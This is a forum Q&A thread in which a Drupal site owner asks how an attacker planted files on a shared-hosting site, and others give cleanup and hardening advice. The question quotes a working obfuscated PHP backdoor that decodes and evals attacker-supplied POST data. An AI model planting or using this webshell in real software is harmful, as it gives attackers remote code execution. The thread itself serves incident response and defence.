1

today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?

  • 3
    There's a million different ways this could have happened, and there's no way we can answer it completely. The one thing I will say is that one practice I like, is to have disable_functions=eval in my settings. That would have prevented this from working, though not necessarily prevent the original attack. It will also kill the php module, which I'm sure if a common attack vector on Drupal sites, and using it is utterly foolish. – Letharion Oct 23 '14 at 16:46
  • what is your hosting type? Shared, VPS,..? – xurshid29 Oct 23 '14 at 16:49
  • Mine is a shared hosting – SsouLlesS Oct 23 '14 at 16:50
  • @SsouLlesS If you have the appropriate logging for it, you should search for them for 'n7f2521', which is the payload carrying the executable code. What you do with it depends of course entirely on what you find, but if you want help understanding what's happened, you might wanna add it to the question. And if not the question, you might wanna post it in the chat, I'd be interested in seeing what there is. – Letharion Oct 23 '14 at 16:55
  • 2
    Did you address drupal.org/SA-CORE-2014-005 ? – mpdonadio Oct 23 '14 at 17:23
4

Your site has indeed been hacked. Many possibilities of a backdoor exist now.

You can start by upgrading to 7.32 or better and downloading the "Hacked!" module and scanning your system files for changes: https://www.drupal.org/project/hacked

Specifically with regard to this PCT4B nonsense - you can go here for help: http://AllAboutTodd.com/drupal/hacked-PCT4BA6ODSE

I have posted a command you can run to automatically sweep your system for all exploited PHP files specific to this attack, removing the malicious code as it goes.

  • 1
    I used the hacked module to find the affected modules and then drush dl <module_name> --select to refresh the affected files. I then used the link above at AllAboutTodd.com to find additional files and delete them. – zkent Nov 9 '14 at 17:59
2

Start with ensuring that your modules and core are up to date. Also make sure that your submitting user credentials using a secure connection (HTTPS).

You could use a module like Password policy to secure user accounts. For now I'd change all of your admin credentials, clean up any damage, and maybe have users change their passwords.

EDIT:

Also check out the secure login module.

  • 3
    And then pop to /admin/reports/updates/settings and make sure you're getting emailed about security releases – Clive Oct 23 '14 at 16:45
0

The hard part was the files that have the bad code are both pre-existing files and totally new files. The AllAboutTodd.com blog post has commands for both situations - but be sure to delete the smaller, new files first, otherwise the other command will remove the code from the tiny 494-byte files first, leaving them zero bytes but still on yor server. Annoying, then you will have to remove zero-byte files too.

If you follow that blog post in the order it says it works perfectly - thanks!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.